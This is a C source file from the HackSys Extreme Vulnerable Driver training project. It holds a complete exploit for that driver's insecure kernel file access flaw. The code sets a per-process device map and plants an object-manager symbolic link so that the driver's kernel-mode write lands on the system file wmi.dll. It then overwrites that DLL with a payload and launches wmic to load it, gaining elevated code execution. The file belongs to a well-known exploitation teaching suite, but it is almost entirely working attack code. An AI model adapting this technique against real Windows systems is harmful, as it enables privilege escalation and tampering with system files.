mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
HackSys Team
308 lines
11 KiB
C
308 lines
11 KiB
C
/*++
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## ## ######## ## ## ########
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## ## ## ## ## ## ##
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## ## ## ## ## ## ##
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######### ###### ## ## ## ##
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## ## ## ## ## ## ##
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## ## ## ## ## ## ##
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## ## ######## ### ########
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HackSys Extreme Vulnerable Driver Exploit
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Author : Ashfaq Ansari
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Contact: ashfaq[at]hacksys[dot]io
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Website: https://hacksys.io/
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Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
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Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.
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This program is free software: you can redistribute it and/or modify it under the terms of
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the GNU General Public License as published by the Free Software Foundation, either version
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3 of the License, or (at your option) any later version.
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This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
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without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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See the GNU General Public License for more details.
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You should have received a copy of the GNU General Public License along with this program.
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If not, see <http://www.gnu.org/licenses/>.
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THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
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LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
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ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
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TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
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INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
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LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
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THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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See the file 'LICENSE' for complete copying permission.
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Module Name:
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InsecureKernelResourceAccess.c
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Abstract:
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This module implements the exploit for Insecure Kernel Resource Access Vulnerability
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implemented in HackSys Extreme Vulnerable Driver.
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References:
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https://github.com/tyranid/windows-logical-eop-workshop
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--*/
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#include "InsecureKernelResourceAccess.h"
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NTSTATUS SetProcessDeviceMap(HANDLE DirectoryHandle) {
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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PROCESS_DEVICEMAP_INFORMATION DeviceMap = {DirectoryHandle};
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NtStatus = NtSetInformationProcess((HANDLE)0xFFFFFFFF,
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ProcessDeviceMap,
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&DeviceMap,
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sizeof(DeviceMap));
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t[-] Failed to set per-process DeviceMap: 0x%X\n", NtStatus);
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exit(EXIT_FAILURE);
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}
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return NtStatus;
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}
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HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR DirectoryName) {
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HANDLE DirectoryHandle = NULL;
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UNICODE_STRING ObjectName = {0};
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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OBJECT_ATTRIBUTES ObjectAttributes = {0};
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PUNICODE_STRING pUnicodeObjectName = NULL;
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if (DirectoryName) {
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RtlInitUnicodeString(&ObjectName, DirectoryName);
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pUnicodeObjectName = &ObjectName;
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}
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InitializeObjectAttributes(&ObjectAttributes,
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pUnicodeObjectName,
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OBJ_CASE_INSENSITIVE,
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hRoot,
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0);
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NtStatus = NtCreateDirectoryObject(&DirectoryHandle, DIRECTORY_ALL_ACCESS, &ObjectAttributes);
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t[-] Failed to create object directory: 0x%X\n", NtStatus);
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exit(EXIT_FAILURE);
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}
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return DirectoryHandle;
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}
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HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR DirectoryName) {
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HANDLE DirectoryHandle = NULL;
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UNICODE_STRING ObjectName = {0};
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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OBJECT_ATTRIBUTES ObjectAttributes = {0};
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RtlInitUnicodeString(&ObjectName, DirectoryName);
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InitializeObjectAttributes(&ObjectAttributes, &ObjectName, OBJ_CASE_INSENSITIVE, hRoot, NULL);
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NtStatus = NtOpenDirectoryObject(&DirectoryHandle, MAXIMUM_ALLOWED, &ObjectAttributes);
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t[-] Failed to open object directory: 0x%X\n", NtStatus);
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exit(EXIT_FAILURE);
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}
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return DirectoryHandle;
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}
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HANDLE CreateSymlink(HANDLE hRoot, LPCWSTR SymbolicLinkName, LPCWSTR TargetName) {
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HANDLE SymbolicLinkHandle = NULL;
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UNICODE_STRING TargetObjectName = {0};
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NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
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OBJECT_ATTRIBUTES ObjectAttributes = {0};
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UNICODE_STRING SymbolicLinkObjectName = {0};
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RtlInitUnicodeString(&SymbolicLinkObjectName, SymbolicLinkName);
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RtlInitUnicodeString(&TargetObjectName, TargetName);
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InitializeObjectAttributes(&ObjectAttributes,
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&SymbolicLinkObjectName,
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OBJ_CASE_INSENSITIVE,
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hRoot,
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NULL);
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NtStatus = NtCreateSymbolicLinkObject(&SymbolicLinkHandle,
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SYMBOLIC_LINK_ALL_ACCESS,
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&ObjectAttributes,
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&TargetObjectName);
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if (NtStatus != STATUS_SUCCESS) {
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DEBUG_ERROR("\t\t[-] Failed to create symbolic link object: 0x%X\n", NtStatus);
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exit(EXIT_FAILURE);
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}
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return SymbolicLinkHandle;
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}
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VOID WritePayloadDll(LPCTSTR szPath) {
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CHAR Buffer[4096] = {0};
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HANDLE TargetDllFileHandle = NULL;
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HANDLE SourceDllFileHandle = NULL;
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DWORD dwBytesRead, dwBytesWritten;
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LPCTSTR SourceDllFilePath = "payload.dll";
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TargetDllFileHandle = CreateFile(szPath,
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GENERIC_ALL,
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0,
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NULL,
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OPEN_EXISTING,
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FILE_ATTRIBUTE_NORMAL,
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NULL);
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if (TargetDllFileHandle == INVALID_HANDLE_VALUE) {
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DEBUG_ERROR("\t\t[-] Target file does not exist: %s\n", szPath);
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exit(EXIT_FAILURE);
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}
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SourceDllFileHandle = CreateFile(SourceDllFilePath,
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GENERIC_ALL,
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0,
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NULL,
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OPEN_EXISTING,
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FILE_ATTRIBUTE_NORMAL,
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NULL);
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if (SourceDllFileHandle == INVALID_HANDLE_VALUE) {
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DEBUG_ERROR("\t\t[-] Source payload DLL file does not exist: %s\n", SourceDllFilePath);
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exit(EXIT_FAILURE);
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}
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do {
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if (!ReadFile(SourceDllFileHandle, Buffer, sizeof(Buffer), &dwBytesRead, NULL)) {
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DEBUG_ERROR("\t\t[-] Unable to read file: %s\n", SourceDllFilePath);
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break;
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}
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if (dwBytesRead == 0) {
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break;
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}
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if (!WriteFile(TargetDllFileHandle, Buffer, dwBytesRead, &dwBytesWritten, NULL)) {
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DEBUG_ERROR("\t\t[-] Unable to write file: %s\n", szPath);
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break;
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}
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}
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while (TRUE);
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CloseHandle(SourceDllFileHandle);
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CloseHandle(TargetDllFileHandle);
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}
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VOID LaunchWMIProcess() {
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STARTUPINFOW StartupInformation;
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PROCESS_INFORMATION ProcessInformation;
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ZeroMemory(&StartupInformation, sizeof(StartupInformation));
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StartupInformation.cb = sizeof(StartupInformation);
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ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
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if (CreateProcessW(L"C:\\Windows\\System32\\wbem\\wmic.exe",
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L"wmic baseboard",
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NULL,
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NULL,
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FALSE,
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CREATE_NO_WINDOW,
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NULL,
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NULL,
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&StartupInformation,
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&ProcessInformation)) {
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WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
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CloseHandle(ProcessInformation.hProcess);
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CloseHandle(ProcessInformation.hThread);
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}
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}
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DWORD WINAPI InsecureKernelFileAccessThread(LPVOID Parameter) {
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HANDLE hFile = NULL;
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ULONG BytesReturned;
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HANDLE hTempObject = NULL;
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HANDLE hGlobalRootObject = NULL;
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HANDLE hPerProcessRootObject = NULL;
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LPCSTR FileName = (LPCSTR)DEVICE_NAME;
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__try {
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// Get the device handle
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DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
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DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
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hFile = GetDeviceHandle(FileName);
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if (hFile == INVALID_HANDLE_VALUE) {
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DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
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}
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DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
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// Resolve Kernel Symbols
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ResolveKernelAPIs();
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DEBUG_MESSAGE("\t[+] Creating Object Directories\n");
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DEBUG_INFO("\t\t[+] \\..\\C:\\Windows\\System32\n");
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// Get create object root directory
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hPerProcessRootObject = CreateObjectDirectory(NULL, NULL);
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hTempObject = CreateObjectDirectory(hPerProcessRootObject, L"C:");
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hTempObject = CreateObjectDirectory(hTempObject, L"Windows");
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hTempObject = CreateObjectDirectory(hTempObject, L"System32");
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DEBUG_MESSAGE("\t[+] Dropping Symbolic Link\n");
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DEBUG_INFO("\t\t[+] HEVD.log -> \\GLOBAL??\\C:\\Windows\\System32\\wbem\\wmi.dll\n");
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hTempObject = CreateSymlink(hTempObject, L"HEVD.log", L"\\GLOBAL??\\C:\\Windows\\System32\\wbem\\wmi.dll");
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DEBUG_MESSAGE("\t[+] Getting handle to \\GLOBAL?? Object\n");
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hGlobalRootObject = OpenObjectDirectory(NULL, L"\\GLOBAL??");
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DEBUG_MESSAGE("\t[+] Setting per-process device map to new Object root\n");
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SetProcessDeviceMap(hPerProcessRootObject);
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DEBUG_MESSAGE("\t[+] Triggering Insecure Kernel File Access\n");
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OutputDebugString("****************Kernel Mode****************\n");
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DeviceIoControl(hFile,
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HACKSYS_EVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS,
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NULL,
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0,
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NULL,
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0,
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&BytesReturned,
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NULL);
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OutputDebugString("****************Kernel Mode****************\n");
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DEBUG_MESSAGE("\t[+] Restoring per-process device map to \\GLOBAL??\n");
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SetProcessDeviceMap(hGlobalRootObject);
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DEBUG_MESSAGE("\t[+] Writing payload DLL in C:\\Windows\\System32\\wbem\\wmi.dll\n");
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WritePayloadDll("C:\\Windows\\System32\\wbem\\wmi.dll");
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DEBUG_MESSAGE("\t[+] Triggering the payload\n");
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LaunchWMIProcess();
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}
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__except (EXCEPTION_EXECUTE_HANDLER) {
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DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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return EXIT_SUCCESS;
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}
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